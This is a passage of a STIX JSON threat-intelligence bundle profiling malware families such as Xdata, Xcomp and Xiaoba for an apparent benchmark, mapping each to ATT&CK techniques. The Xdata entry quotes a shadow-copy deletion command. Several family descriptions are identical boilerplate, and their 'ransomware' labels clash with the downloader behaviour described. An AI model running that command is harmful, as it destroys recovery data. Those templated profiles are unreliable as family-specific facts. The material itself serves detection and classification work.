      "description": "Trojan:Win32/Wyhymyz is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Wyhymyz</b><br>To an end-user, a Wyhymyz infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Wyhymyz is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Wyhymyz is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Wyhymyz frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Wyhymyz reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wyhymyz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wyhymyz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea21ea9e-a403-5ebf-b023-6764041873c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5529cc54-6b85-5b44-86f0-def78fe727d0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wyhymyz exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10a6dfba-6325-556d-9add-b1b87bfa190d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5529cc54-6b85-5b44-86f0-def78fe727d0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wyhymyz exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f29cdc36-02cd-52eb-9322-7c3f8b716302",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5529cc54-6b85-5b44-86f0-def78fe727d0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wyhymyz exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c692aaa8-31dd-5900-b401-0951ef394cc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5529cc54-6b85-5b44-86f0-def78fe727d0",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wyhymyz exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f01a4f3-8dba-5c60-bc01-d9d2a4c657c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5529cc54-6b85-5b44-86f0-def78fe727d0",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wyhymyz exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b85c683a-c320-522e-be2f-e6bb401156c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xanfpezes",
      "description": "Trojan:Win32/Xanfpezes is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Xanfpezes</b><br>To an end-user, a Xanfpezes infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Xanfpezes is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Xanfpezes is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Xanfpezes frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Xanfpezes reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xanfpezes",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xanfpezes"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c1bf979-e688-531a-8f18-7e51db31b56c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b85c683a-c320-522e-be2f-e6bb401156c8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xanfpezes exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24e8d247-9215-524b-9afc-8376db7c3a92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b85c683a-c320-522e-be2f-e6bb401156c8",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xanfpezes exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc073dc5-a087-5aff-9509-42b32275af45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b85c683a-c320-522e-be2f-e6bb401156c8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xanfpezes exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4ec3a16-544d-54d5-bac9-589ff2ea592c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b85c683a-c320-522e-be2f-e6bb401156c8",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xanfpezes exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--563cf666-8df7-52ea-8923-604174e5e5ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b85c683a-c320-522e-be2f-e6bb401156c8",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xanfpezes exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8b27758f-646d-5180-8d46-0a48cc8fda21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xcomp",
      "description": "<h3>Executive Summary</h3>\nXcomp is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nXcomp is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Xcomp operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Xcomp ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Xcomp receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Xcomp infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Xcomp executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Xcomp frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Xcomp",
        "Downloader.Xcomp",
        "Win32/Xcomp"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xcomp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xcomp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05bca761-85b9-58a1-bd23-6872e45da83a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b27758f-646d-5180-8d46-0a48cc8fda21",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xcomp exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94771be4-c8c1-55a5-bf72-c88785ea38ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b27758f-646d-5180-8d46-0a48cc8fda21",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xcomp exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--794bb2ca-5618-53fe-8330-6757c39b49af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b27758f-646d-5180-8d46-0a48cc8fda21",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xcomp exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f78cd02e-0ee2-53f1-881e-1dd4ab89753c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xdata",
      "description": "Ransom:Win32/Xdata is a severe threat classified as Ransomware. It is designed to extort victims by strongly encrypting critical personal or corporate data, appending a specific extension (often `.xdata`) to the files, and demanding payment in cryptocurrency for the decryption key.<br><br><b>Understanding Xdata</b><br>To an end-user, an Xdata infection represents an immediate crisis: documents and databases are suddenly inaccessible, and a ransom note (often a `.txt` or `.hta` file) is presented on the desktop. For an enterprise, it triggers a 'Code Red' incident response, requiring immediate network isolation to prevent lateral movement and the encryption of enterprise file shares and backups.<br><br><b>Execution and Extortion Mechanics</b><br>Xdata is frequently distributed via targeted phishing (`T1566.001`), exploit kits, or dropped by other initial access malware. Upon execution, it achieves persistence (`T1547.001`) and actively attempts to impair endpoint defenses (`T1562.001`). Crucially, before encryption begins, it executes commands like `vssadmin.exe delete shadows /all /quiet` to destroy Windows Volume Shadow Copies, preventing easy system restoration (`T1490`). It then rapidly iterates through the filesystem and mapped network drives, encrypting files matching high-value extensions (e.g., `.docx`, `.sql`, `.pdf`) using robust encryption algorithms (`T1486`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is catastrophic data loss. Host-based IoCs include massive spikes in disk I/O and CPU usage during the encryption phase, the sudden appearance of ransom note files in every directory, and EDR alerts for `vssadmin.exe` or `wmic.exe` attempting to delete shadow copies. Network IoCs may include anomalous outbound traffic if the ransomware incorporates a data exfiltration module. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xdata",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xdata"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--930e1684-4167-5667-a9eb-8f2e0f53a736",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f78cd02e-0ee2-53f1-881e-1dd4ab89753c",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xdata exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d5b9b14-4099-5ccc-ae5a-023a21c71801",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f78cd02e-0ee2-53f1-881e-1dd4ab89753c",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xdata exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4085a79-f767-5754-8401-6d6778081cd7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f78cd02e-0ee2-53f1-881e-1dd4ab89753c",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xdata exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b301b633-4cbd-52c7-beca-988b4bd7d001",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f78cd02e-0ee2-53f1-881e-1dd4ab89753c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xdata exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c47a9270-d505-555c-92cb-b0297c4edab4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xdisccorp",
      "description": "Trojan:Win32/Xdisccorp is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Xdisccorp</b><br>To an end-user, a Xdisccorp infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Xdisccorp is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Xdisccorp is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Xdisccorp frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Xdisccorp reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xdisccorp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xdisccorp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68686940-b0f8-5372-a07c-7d8d7fcbe912",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c47a9270-d505-555c-92cb-b0297c4edab4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xdisccorp exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ab69571-eecb-5420-bcda-e0e2ee3f7628",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c47a9270-d505-555c-92cb-b0297c4edab4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xdisccorp exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--078c8c0c-204c-55e8-985d-20577a9b1306",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c47a9270-d505-555c-92cb-b0297c4edab4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xdisccorp exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df79c00d-6776-580b-a6e5-e7ccb2735107",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c47a9270-d505-555c-92cb-b0297c4edab4",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xdisccorp exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c71f81fd-c541-5d71-87b8-5016f7551e28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c47a9270-d505-555c-92cb-b0297c4edab4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xdisccorp exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6e0940dc-562e-5061-ac34-bbcc852996b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xetapp",
      "description": "Xetapp (cataloged across security intelligence feeds under signatures including Adware:Win32/Xetapp, PUA:Win32/Xetapp, and SoftwareBundler:Win32/Xetapp) is an intrusive adware framework and potentially unwanted application (PUA) active since 2015. Distributed primarily through deceptive free software repackagers, fake video player updates, and torrent installers, Xetapp covertly embeds itself into endpoint systems during third-party installations. Once active, Xetapp alters browser configuration files, installs unauthorized background helper extensions in Chrome and Firefox, and modifies desktop shortcut targets to append affiliate tracking tags. It forcefully injects floating advertisement banners into visited web pages, hijacks default search engine results to partner advertising portals, and collects detailed browsing telemetry, wasting bandwidth and severely degrading user experience. (Observed samples in benchmark: 27)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Xetapp",
        "PUA:Win32/Xetapp",
        "SoftwareBundler:Win32/Xetapp",
        "Win32/Xetapp",
        "Adware.Xetapp"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xetapp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xetapp"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--73fefb9b-1f4e-51a8-aa29-45fd674aaecd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xiaoba",
      "description": "Trojan:Win32/Xiaoba is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Xiaoba</b><br>To an end-user, a Xiaoba infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Xiaoba is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Xiaoba is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Xiaoba frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Xiaoba reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xiaoba",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xiaoba"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9acb6bd7-0e98-50c6-aad6-b4afb8845a23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73fefb9b-1f4e-51a8-aa29-45fd674aaecd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiaoba exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--912be87d-d5d3-5444-a38a-527de9c5a3a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73fefb9b-1f4e-51a8-aa29-45fd674aaecd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiaoba exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--414ee793-7aa1-55b5-b034-cf2ff8e4ce15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73fefb9b-1f4e-51a8-aa29-45fd674aaecd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiaoba exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--717cf16e-1259-5407-889d-909f91ee8863",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73fefb9b-1f4e-51a8-aa29-45fd674aaecd",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiaoba exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b77f89f1-6033-5400-b890-518a042f085e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73fefb9b-1f4e-51a8-aa29-45fd674aaecd",
